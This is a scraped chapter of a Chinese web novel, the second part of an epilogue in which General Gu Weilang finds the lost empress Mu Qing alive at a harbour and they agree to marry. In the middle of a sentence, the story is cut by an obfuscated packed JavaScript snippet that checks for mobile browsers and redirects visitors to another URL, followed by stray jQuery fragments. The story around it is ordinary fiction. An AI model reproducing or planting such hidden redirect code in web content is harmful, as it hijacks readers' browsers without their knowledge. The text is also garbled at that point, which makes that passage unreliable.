红荔挂绿 作品
69.尾声(二)
顾维朗颔首,放下手中的公文,起身抚了抚月白长袍上的皱褶,方郑重走到香案前。
案上供着一只鎏金小炉,并几样四季果子。一位鹤发老道递给他三柱清香,顾维朗双手接过,虔诚地拜过,闭目祝祷片刻,将香插在小炉中。
老道又将手中一叠青词烧了,持桃木剑走了一套禹步,末了,道:“新船可以下水了。”
不远处的码头上,轰隆轰隆几声巨响,新造好的三艘军船顺着滑轨落入了海中,如同巨龙翻身,溅起几人高的水花。
“将军,申时还要跟枢密院商议厢军调防之事,我们该回了。”
张涛低声提醒着。
他的将军还在呆呆地看着茫茫海面,又陷入了长久沉默,如果不叫他,他能如上次一样,看上一天,不言不语,不饮不食。
如今北面初定,还有许多事务需要决策,将军却每次有新船下水,都挤出时间来渤洲湾主持仪式。
无非因着那老道说,主帅亲自祝祷,可保新船平安,马到功成。
马到功成,这新船的任务不就是搜救陛下吗?如今将军为了找到陛下,原本不拜鬼神的人,竟连这些无稽之言也信。
顾维朗闻言,艰难地将目光从海面上收回,转身准备上马。
就在手拉上马鞍的一瞬间,他整个人定在当场,随即转头,朝方才不经意瞥过的方向看过去。
“将军?”张涛半只脚已在马背上了,见状忙又翻身下来。
顾维朗听而不闻,只凝神看着,然后拨开列队的军士,不顾一切地往前冲过去。
张涛以为有什么紧急军情,马上跟上去,一手按在佩刀把手上,一手挥动着:“快跟上!”
然而才跑了几步,他便如同见了鬼一般刹住脚步,停住了,后面跟上来的亲卫撞上了他,也懵然不知。
顾维朗穿过码头空地上三三两两的人群、穿过搬运货物的苦力队伍、穿过穿红戴绿的富贵游人,冲到了一个身穿红裙,头戴帷帽的女子身前。
那女子的帷帽刚被海风吹掉了,她重又捡了起来,拍怕灰尘,刚戴在头上,便看见了顾维朗,也愣住了。
原本俊朗的面颊瘦的微微凹了下去,趁得那剑眉特别浓。双眼周围多了一圈淡淡的黑影,长长的睫毛一遮,看着如同深邃的寒潭。胡茬虽然潦草刮过,仍乱七八糟地戳着,透着一副心不在焉的淡淡疲惫感。
脸色苍白,神情暗淡。
玉面将军,怎么变成顽石将军了。
穆晴本想着回京先去司空府,见一见司空盈,再让她带着去见顾维朗,免得太上皇突然现身,引出什么乱子来。
没想到在码头上刚走了几步,竟就见到了顾维朗。
如此憔悴的顾维朗,和记忆中或严肃或爽朗的高大武将完全不同。
“你怎么……”穆晴一阵心疼,脱口便要问发生什么事了。
但她开口以后,便想到了,他竟是因为自己,变成这个模样!自己这般问,他定要伤心的。
于是便闭上了嘴,只伸手摸摸他的脸。
顾维朗此时也听不见什么,他只怔怔地看着眼前人,然后又伸出双手,抓住了她的肩膀。
手上实实在在地触碰到了,这个穆晴,是真的,不是他以往的幻觉虚影。
顾维朗双眼一酸,便将眼前人狠狠地揉进了怀里。
穆晴听到他的喉咙里发出一声呜咽,只一下,便没有了,紧接着便是大口大口吸气的声音,仿佛收到了巨大惊吓的孩子,在努力让自己镇定下来。
她闻着他熟悉的皂角清香,也闭上了眼,安静下来,双手一下一下地抚着他的背。
此刻,她才发现,自己的心在缓缓回到胸腔里,安顿下来。
其实那日被绑上船后,她便强令自己镇定,保持头脑清醒,时时做出最有利的选择,不让害怕不安的情绪冒头,也不让自己有慌乱的机会。
但是心神一直是紧绷着的,仿佛白蝶在茫茫海面上徘徊,找不到降落休息片刻的地方,只得一直扑打这翅膀。
如今,她真的回来了,在熟悉安全的怀抱里,可以放松了。
两人紧紧相拥了好一刻,顾维朗松开手,又抓着穆晴的肩膀,盯着她,一时太多话要说,张开嘴竟没说出一个字来。
突然一只手插了进来,抓住他的手腕就要掰开,可惜没掰动。
商船的少东家尹鸿怒目而视:“登徒子,你要对司空小姐做什么?!”
顾维朗闻言,双眼闪过惊恐,又认真地盯着穆晴上下看了一遍,方放了心,又把穆晴结实地拥进怀里。
穆晴刚想说话,脑袋便被闷在了顾维朗胸口,只得腾出手来,朝尹鸿摆了摆。
尹鸿不解其意,便要跟顾维朗推搡起来。
“住手,误会!他是我未婚夫婿!”穆晴好不容易把脑袋从他胸口挪开,说了一句。
尹鸿闻言吃了一惊,倒退一步看着两人。
穆晴解释道:“我漂到了海岛上,是尹公子的商船带我回来的。”
顾维朗听闻,松开手,对着尹鸿深深鞠了一躬:“谢谢尹公子!大恩不言谢,日后若有用得着顾某的地方,顾某定义不容辞。”
尹鸿眼里闪过一丝伤心,便又换上了儒雅的表情:“举手之劳,不足挂齿。”
顾维朗的手松开了,顿时觉得空落落的,又去抓了穆晴的手,十指紧扣握在手里。
穆晴倒有些羞赧,对尹鸿道:“此次真要谢谢尹公子大恩,只是我此时有急事要回家,请尹公子先回驿馆,我择吉日隆重致谢,前番与公子所说海贸之事,公子也尽可放心。”
尹鸿十分通情达理:“自然,司空小姐逢凶化吉,当然要先回府报平安。如此,既然有他送你,我便先安顿商船的事情了。”
说罢识趣离去。
“陛下,可有受伤?”顾维朗声音略哑,但眼睛里已有了光彩,从里到外泛着活气,不似原来一片死灰的模样。
穆晴摇头:“无事,我……水性甚好,抱了一大块浮木,竟被暴风雨吹到了外岛上,隔了大洋,无船只可通,因而耽误了这许久。”
她说完,又抚了抚他的眉头:“害你担心了。”
顾维朗抓住穆晴的手,送到唇边轻吻了一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15196396|160153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,道:“陛下,我们完婚吧。我再也不会放开陛下的手了。”
轻柔的触碰从手背一直钻进了心里,穆晴点头,笑脸如花:“好。”
……
直到上了马车,两人的手也没放开。
顾维朗为穆晴细说她不在的这段时间里发生的国事。
墨赫突逢变故,船队六神无主,在海上乱哄哄搜救了两日无果,被赶来的江南水军伏击杀了大半,剩下一小半拖着一艘破船仓皇北逃。
其后果如穆晴所料,卓容死后,他的几个兄弟争夺王位,三王卓察继位,为了给卓容报仇,发兵南下,正好中了大历预先埋伏好的三个圈套。
顾维朗因着穆晴出事的一腔愤恨,全部发泄在了战场上。他用尽平生打仗的本事,将那墨赫人打得落花流水、闻风丧胆,将原本计划需要的时间缩短了大半。
将墨赫主力都摁死在了黑原后,大历军队不费吹灰之力夺回了北原四镇,并一路往北将墨赫的雪原大本营一锅端了。
他絮絮地说着,一副你不在家我把家里打扫得很干净的模样,仿佛在等穆晴表扬。
“我早已命人在雪原的雾极峰上建好了石台,等陛下有空,便可去雾极峰封禅,告慰先祖,我们不仅夺回了北原四镇,还把这一直卡住我们咽喉的墨赫灭国了。”
穆晴一笑:“你这么快就替我想到了封禅的地方?也好,穆氏老祖们定然高兴,对你这个女婿自然十分满意。”
她又回过神来:“我封禅?”太上皇封禅吗?不合适吧。
顾维朗认真道:“陛下是大历开国以来第一个收回北原四镇的帝皇,封禅有何不可?”
穆晴道:“我以为,驾崩两个多月了,弘王早该……”
顾维朗一听到“驾崩”二字,气得浑身一震:“不许乱说!”
而后听到“弘王”,抓着穆晴的手上一紧:“陛下以为,我这便急着拥立弘王了?在陛下心里,我就是这等无知无觉、没心没肺、一心只图大业的乱臣贼子是吗?那我这七十六天的日夜煎熬算是什么……”
说罢气得扭身别过脸去,但手仍抓着穆晴的手不放,肩膀只得别扭地歪着。
穆晴确是十分惊讶,但她心疼顾维朗瘦削憔悴的模样,只得摇一摇他的手,道:“我刚刚只是开玩笑的,我怎么可能不懂你呢。”
她轻轻抓住他的下巴,凑近前去:“还气呢?”
顾维朗脸仍朝一旁别着,只是眼珠子转过来瞥了她一眼,仍旧盯着马车的纱窗。
穆晴顺着他的目光也看了一眼窗外,突然“噗嗤”一声。
顾维朗闷声道:“笑什么?”
穆晴指着窗外街道交汇处,笑道:“你可还记得此处,那日我刚从皇城逃出来,便是在这里遇见了你。那时你当真是要拥立弘王呢。”
顾维朗闻言,仔细看了一眼,果然是此处。他想起当日女帝一身狼狈,看着自己瑟瑟发抖的样子,眼神不觉柔和了起来。
穆晴又凑近他的脸,伸出手指指着他鼻尖笑道:“心虚了?”
顾维朗忍不住也翘起了嘴角,抓住穆晴的手指道:“臣再也不敢了。”